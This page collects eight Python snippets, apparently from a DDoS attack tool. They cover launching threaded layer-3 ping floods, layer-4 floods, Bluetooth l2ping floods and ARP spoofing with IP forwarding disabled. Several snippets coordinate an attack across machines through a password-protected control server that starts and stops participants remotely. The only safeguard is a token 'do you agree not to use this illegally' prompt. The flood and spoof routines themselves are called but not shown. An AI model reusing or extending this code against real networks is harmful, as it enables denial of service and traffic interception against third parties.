Exemplo n.º 1
0
 def run(command):
     print("")
     if var.ip != "":
         if not tools.question(
                 "Do you agree to not use this tool for illegal purpose?"):
             print("Agreement not accepted.")
             quit()
         else:
             print("")
             print("To stop the attack press: CRTL + Z")
             sleep(3)
             sleep(var.autostart)
             if var.stress:
                 if len(var.target) == 1 and len(var.port) == 1:
                     self.stresstest()
                 else:
                     print(
                         "Do not use multiple targets/ports in the Stress-Testing mode."
                     )
             else:  # Normal Mode
                 if var.autostop != 0:
                     var.autostarttime = time()
                 for thread in range(var.threads):
                     try:
                         t = Thread(target=self.ddos)
                         sleep(var.autostep)
                         t.start()
                     except:
                         print("Could not start thread %s." % thread)
     else:
         print("No target has been defined.")
     print("")
Exemplo n.º 2
0
 def ddos(self):
     print("")
     try:
         ddos_host = input("Enter Host URL of the server: ")
         ddos_password = input("Enter the password: "******"http" not in ddos_host:
             raise Exception("Wrong Host URL.")
         if "/" != ddos_host[-1]:
             ddos_host += "/"
         test_data = {"password": ddos_password}
         agreed = requests.post((ddos_host + "get/agreed"),
                                data=test_data).text
         if agreed != "False":
             raise Exception("Wrong data was given.")
         ddos_role = tools.question(
             "Do you want this to be used as a host?")
         status = requests.post((ddos_host + "reset"), data=test_data).text
         if status != "200":
             print("Something strange happened.")
         var.server[1] = ddos_role
         var.server[2] = ddos_host
         var.server[3] = ddos_password
         var.server[0] = True
     except Exception as ex:
         print("An exception occured.", ex)
     print("")
Exemplo n.º 3
0
 def run():
     if not tools.question(
             "\nDo you agree to not use this tool for illegal purpose?"):
         print("Agreement not accepted.")
         quit()
     else:
         self.pod(var.size, var.target, var.threads, var.sleep,
                  var.interval, var.auto_stop)
Exemplo n.º 4
0
 def run():
     if not tools.question(
             "\nDo you agree to not use this tool for illegal purpose?"):
         print("Agreement not accepted.")
         quit()
     else:
         print("")
         print("To stop the attack press: CRTL + Z")
         sleep(3)
         for thread in range(var.threads):
             try:
                 t = Thread(target=self.ddos)
                 t.start()
                 sleep(var.sleep)
             except Exception:
                 print("Could not start thread %s." % thread)
Exemplo n.º 5
0
	def run():
		def execute():
			self.pod(var.size, var.target, var.threads, var.sleep, var.interval, var.auto_stop)

			def reset_attack():
				print("Stopping threads...")
				system("killall ping")
				if var.l3_debug:
					print("Saving debugging log...")
					output_to = path.join(getcwd(), "l3_debug_log.txt")

					write_method = "a"
					if path.isfile(output_to):
						write_method = "a"
					else:
						write_method = "w"

					output_file = open(output_to, write_method)
					if write_method == "a":
						output_file.write("------------- New Log -------------")
					output_file.write(str(name + "\n"))
					output_file.write(str(version + "\n"))
					output_file.write(str("\n".join(var.command_log)))
					output_file.close()
				print("Done.")
				quit()

			def check_stopped_execution():
				while True:
					data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text
					if data != "True":
						reset_attack()
						break
					else:
						sleep(1)
			try:
				if var.server[0] and var.server[0]:
					rec_t = Thread(target=check_stopped_execution)
					rec_t.start()
				input("\r")
			except KeyboardInterrupt:
				pass

			if var.server[0] and var.server[1]:
				status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text
				if status != "200":
					print("An error occured, while sending data to the server.")

			reset_attack()

		if var.server[0] and not var.server[1]:
			while True:
				data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text
				if data == "True":
					execute()
					break
				else:
					sleep(1)
		elif not tools.question("\nDo you agree to not use this tool for illegal purpose?"):
			print("Agreement not accepted.")
			quit()
		else:
			if var.server[0] and var.server[1]:
				if tools.question("\nWould you like to use the host as part of the ddos?"):
					status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text
					if status != "200":
						print("An error occured, while sending data to the server.")
					execute()
				else:
					status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text
					if status != "200":
						print("An error occured, while sending data to the server.")
					try:
						print("[Press Enter to stop the attack.]")
					except KeyboardInterrupt:
						pass
					status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text
					if status != "200":
						print("An error occured, while sending data to the server.")
			else:
				execute()
Exemplo n.º 6
0
    def run():
        def execute():
            print("")
            print("To stop the attack press: ENTER or CTRL + C")
            print("")

            var.ps1 = ""  # Change due to threading bug.

            sleep(3)
            for thread in range(var.threads):
                try:
                    t = Thread(target=self.ddos)
                    t.start()
                    sleep(var.sleep)
                except Exception:
                    print("Could not start thread %s." % thread)

            def reset_attack():
                print("Stopping threads...")
                system("sudo killall l2ping")
                if var.bl_debug:
                    print("Saving debugging log...")
                    output_to = path.join(getcwd(), "bl_debug_log.txt")

                    write_method = "a"
                    if path.isfile(output_to):
                        write_method = "a"
                    else:
                        write_method = "w"

                    output_file = open(output_to, write_method)
                    if write_method == "a":
                        output_file.write(
                            "------------- New Log -------------")
                    output_file.write(str(name + "\n"))
                    output_file.write(str(version + "\n"))
                    output_file.write(str("\n".join(var.command_log)))
                    output_file.close()
                print("Done.")
                quit()

            def check_stopped_execution():
                while True:
                    data = requests.post((var.server[2] + "get/agreed"),
                                         data={
                                             "password": var.server[3]
                                         }).text
                    if data != "True":
                        reset_attack()
                        break
                    else:
                        sleep(1)

            try:
                if var.server[0] and var.server[0]:
                    rec_t = Thread(target=check_stopped_execution)
                    rec_t.start()
                input("\r")
            except KeyboardInterrupt:
                pass

            if var.server[0] and var.server[1]:
                status = requests.post((var.server[2] + "set/agreed"),
                                       data={
                                           "password": var.server[3],
                                           "data": "False"
                                       }).text
                if status != "200":
                    print(
                        "An error occured, while sending data to the server.")

            reset_attack()

        if var.server[0] and not var.server[1]:
            while True:
                data = requests.post((var.server[2] + "get/agreed"),
                                     data={
                                         "password": var.server[3]
                                     }).text
                if data == "True":
                    execute()
                    break
                else:
                    sleep(1)
        elif not tools.question("\nDo you agree to the terms of use?"):
            print("Agreement not accepted.")
            quit()
        else:
            if var.server[0] and var.server[1]:
                if tools.question(
                        "\nWould you like to use the host as part of the ddos?"
                ):
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "True"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
                    execute()
                else:
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "True"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
                    try:
                        print("[Press Enter to stop the attack.]")
                    except KeyboardInterrupt:
                        pass
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "False"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
            else:
                execute()
Exemplo n.º 7
0
    def run(command):
        print("")
        if var.ip != "":

            def execute():
                print("")
                print("To stop the attack press: ENTER or CRTL + C")
                sleep(3)
                sleep(var.autostart)
                if var.stress:
                    if len(var.target) == 1 and len(var.port) == 1:
                        self.stresstest()
                    else:
                        print(
                            "Do not use multiple targets/ports in the Stress-Testing mode."
                        )
                else:  # Normal Mode
                    if var.autostop != 0:
                        var.autostarttime = time()
                    for thread in range(var.threads):
                        try:
                            t = Thread(target=self.ddos)
                            sleep(var.autostep)
                            t.start()
                        except Exception:
                            print("Could not start thread %s." % thread)

                def reset_attack():
                    print("Stopping threads...")
                    var.runactive = False
                    sleep(2)
                    while True:
                        if var.stoped_threads == var.threads:
                            break
                        else:
                            sleep(1)

                    if var.l4_debug:
                        print("Saving debugging log...")
                        output_to = path.join(getcwd(), "l4_debug_log.txt")

                        write_method = "a"
                        if path.isfile(output_to):
                            write_method = "a"
                        else:
                            write_method = "w"

                        output_file = open(output_to, write_method)
                        if write_method == "a":
                            output_file.write(
                                "------------- New Log -------------")
                        output_file.write(str(name + "\n"))
                        output_file.write(str(version + "\n"))
                        output_file.write(str("\n".join(var.command_log)))
                        output_file.close()
                    print("Done.")
                    quit()

                def check_stopped_execution():
                    while True:
                        data = requests.post((var.server[2] + "get/agreed"),
                                             data={
                                                 "password": var.server[3]
                                             }).text
                        if data != "True":
                            reset_attack()
                            break
                        else:
                            sleep(1)

                try:
                    if var.server[0] and var.server[0]:
                        rec_t = Thread(target=check_stopped_execution)
                        rec_t.start()
                    input("\r")
                except KeyboardInterrupt:
                    pass

                if var.server[0] and var.server[1]:
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "False"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )

                reset_attack()

            if var.server[0] and not var.server[1]:
                while True:
                    data = requests.post((var.server[2] + "get/agreed"),
                                         data={
                                             "password": var.server[3]
                                         }).text
                    if data == "True":
                        execute()
                        break
                    else:
                        sleep(1)
            elif not tools.question("\nDo you agree to the terms of use?"):
                print("Agreement not accepted.")
                quit()
            else:
                if var.server[0] and var.server[1]:
                    if tools.question(
                            "\nWould you like to use the host as part of the ddos?"
                    ):
                        status = requests.post((var.server[2] + "set/agreed"),
                                               data={
                                                   "password": var.server[3],
                                                   "data": "True"
                                               }).text
                        if status != "200":
                            print(
                                "An error occured, while sending data to the server."
                            )
                        execute()
                    else:
                        status = requests.post((var.server[2] + "set/agreed"),
                                               data={
                                                   "password": var.server[3],
                                                   "data": "True"
                                               }).text
                        if status != "200":
                            print(
                                "An error occured, while sending data to the server."
                            )
                        try:
                            print("[Press Enter to stop the attack.]")
                        except KeyboardInterrupt:
                            pass
                        status = requests.post((var.server[2] + "set/agreed"),
                                               data={
                                                   "password": var.server[3],
                                                   "data": "False"
                                               }).text
                        if status != "200":
                            print(
                                "An error occured, while sending data to the server."
                            )
                else:
                    execute()
        else:
            print("No target has been defined.")
        print("")
Exemplo n.º 8
0
    def run():
        def execute():
            print("")
            print("To stop the attack press: ENTER or CTRL + C")
            print("")

            var.ps1 = ""  # Change due to threading bug.

            sleep(3)
            print("Seting ip_forward to 0...")
            self.ip_forward_disable()
            print("")
            try:
                for target in [self.arp_target, self.arp_router]:
                    t = Thread(target=target)
                    t.start()
            except Exception:
                print("Could not start the attack.")

            def reset_attack():
                print("Stopping threads...")
                system("sudo killall -SIGINT arpspoof")
                sleep(2)
                while True:
                    out_exec = popen("pgrep arpspoof").read()
                    do_break = True
                    for char in str(out_exec):
                        if char.isdigit():
                            do_break = False
                    if do_break:
                        break
                    sleep(2)

                self.ip_forward_reset()
                if var.arp_debug:
                    print("Saving debugging log...")
                    output_to = path.join(getcwd(), "arp_debug_log.txt")

                    write_method = "a"
                    if path.isfile(output_to):
                        write_method = "a"
                    else:
                        write_method = "w"

                    output_file = open(output_to, write_method)
                    if write_method == "a":
                        output_file.write(
                            "------------- New Log -------------")
                    output_file.write(str(var.command_log))
                    output_file.close()
                print("Done.")
                quit()

            def check_stopped_execution():
                while True:
                    data = requests.post((var.server[2] + "get/agreed"),
                                         data={
                                             "password": var.server[3]
                                         }).text
                    if data != "True":
                        reset_attack()
                        break
                    else:
                        sleep(1)

            try:
                if var.server[0] and var.server[0]:
                    rec_t = Thread(target=check_stopped_execution)
                    rec_t.start()
                input("\r")
            except KeyboardInterrupt:
                pass

            if var.server[0] and var.server[1]:
                status = requests.post((var.server[2] + "set/agreed"),
                                       data={
                                           "password": var.server[3],
                                           "data": "False"
                                       }).text
                if status != "200":
                    print(
                        "An error occured, while sending data to the server.")

            reset_attack()

        if var.server[0] and not var.server[1]:
            while True:
                data = requests.post((var.server[2] + "get/agreed"),
                                     data={
                                         "password": var.server[3]
                                     }).text
                if data == "True":
                    execute()
                    break
                else:
                    sleep(1)
        elif not tools.question(
                "\nDo you agree to not use this tool for illegal purpose?"):
            print("Agreement not accepted.")
            quit()
        else:
            if var.server[0] and var.server[1]:
                if tools.question(
                        "\nWould you like to use the host as part of the ddos?"
                ):
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "True"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
                    execute()
                else:
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "True"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
                    try:
                        print("[Press Enter to stop the attack.]")
                    except KeyboardInterrupt:
                        pass
                    status = requests.post((var.server[2] + "set/agreed"),
                                           data={
                                               "password": var.server[3],
                                               "data": "False"
                                           }).text
                    if status != "200":
                        print(
                            "An error occured, while sending data to the server."
                        )
            else:
                execute()